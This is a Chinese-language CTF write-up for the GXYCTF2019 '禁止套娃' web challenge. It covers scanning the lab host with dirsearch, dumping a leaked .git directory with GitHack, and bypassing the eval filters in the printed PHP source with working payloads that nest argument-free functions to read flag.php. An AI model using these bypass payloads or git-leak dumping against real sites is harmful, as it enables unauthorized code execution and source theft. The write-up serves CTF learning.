[GXYCTF2019]禁止套娃(特详解)

刚打开页面什么都没有,抓包也什么都没有

[GXYCTF2019]禁止套娃(特详解)_第1张图片

那就dirsaerch扫一下,发现状态码都是429,访问太快了(这里很多师傅都没有说明或者说清楚)

[GXYCTF2019]禁止套娃(特详解)_第2张图片

这里改了一下线程(kali自带的,如果用的脚本要加前面要加python)

dirsearch -u http://d4300875-40df-4a49-a897-d48abc13126c.node5.buuoj.cn:81/ -e php -s 1

发现.git文件,原来是git泄露

[GXYCTF2019]禁止套娃(特详解)_第3张图片

对于git泄漏我们可以使用Githack工具 https://github.com/lijiejie

下载后,直接运行脚本

python GitHack.py http://d4300875-40df-4a49-a897-d48abc13126c.node5.buuoj.cn:81/.git    

成功下载了index.php文件

image-20240129231353500

源码

";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

解释一下关键代码

  1. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {:使用正则表达式检查 "exp" 参数中是否包含某些危险协议,如 data://、filter://、php://、phar://。如果包含,则输出错误消息。

  2. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {:检查是否在 "exp" 参数中存在函数调用,并使用递归匹配来验证函数调用的合法性。如果合法,则执行下一步。

    '/[a-z,_]+\((?R)?\)/':这是一个正则表达式,用于匹配类似函数调用的字符串。让我们分解这个正则表达式:

    • [a-z,_]+:匹配任意长度的由小写字母、逗号和下划线组成的字符串,这部分表示函数名。

    • \(:匹配左括号 "("。

    • (?R)?:这是一个递归匹配的部分,表示匹配任何可能包含函数调用的字符串,递归地调用整个正则表达式。

    • \):匹配右括号 ")"。

    总体而言,这个正则表达式用于匹配类似于 function_name(...) 这样的字符串。一个合法的表达式也可以是a(b();)

  3. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {:检查 "exp" 参数中是否包含某些关键词,如果包含,则输出错误消息。这是为了防止直接调用一些敏感函数或操作。

最后通过eval拿到flag,合着意思就是只能使用无参函数的嵌套来读取flag.php文件

看了其他师傅的博客有了思路,太伟大了!!

方法一

先介绍几个函数

highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

payload:

exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

思路:

loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来

[GXYCTF2019]禁止套娃(特详解)_第4张图片

方法二 上面 的正则过滤中 其实并没有过滤掉 session_id() 所以我们可以通过在数据包里加入session,使用 session_id来获取 flag session_id() 可以用来获取/设置 当前会话 ID。 在我们使用 session_id()的时候 需要使用session_start()来开启session会话 我们尝试构造payload

?exp=highlight_file( session_id(session_start()));

传参然后抓包,加cookie

[GXYCTF2019]禁止套娃(特详解)_第5张图片

你可能感兴趣的:(网络安全)